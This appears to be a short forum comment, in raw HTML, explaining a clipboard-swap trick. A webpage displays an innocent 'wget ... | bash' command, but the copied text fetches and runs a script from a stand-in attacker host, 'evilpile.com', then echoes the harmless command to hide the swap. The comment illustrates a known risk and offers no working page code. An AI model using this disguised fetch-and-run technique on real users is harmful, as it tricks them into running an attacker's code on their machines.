Well, you can combine the two approaches.<p>The text on the webpage reads<p>wget <a href="https:&#x2F;&#x2F;example.com&#x2F;script.sh" rel="nofollow">https:&#x2F;&#x2F;example.com&#x2F;script.sh</a> | bash<p>but when copied is actually<p>wget <a href="https:&#x2F;&#x2F;evilpile.com&#x2F;script.sh" rel="nofollow">https:&#x2F;&#x2F;evilpile.com&#x2F;script.sh</a> | bash; echo wget <a href="https:&#x2F;&#x2F;example.com&#x2F;script.sh" rel="nofollow">https:&#x2F;&#x2F;example.com&#x2F;script.sh</a> \| bash<p>or whatnot.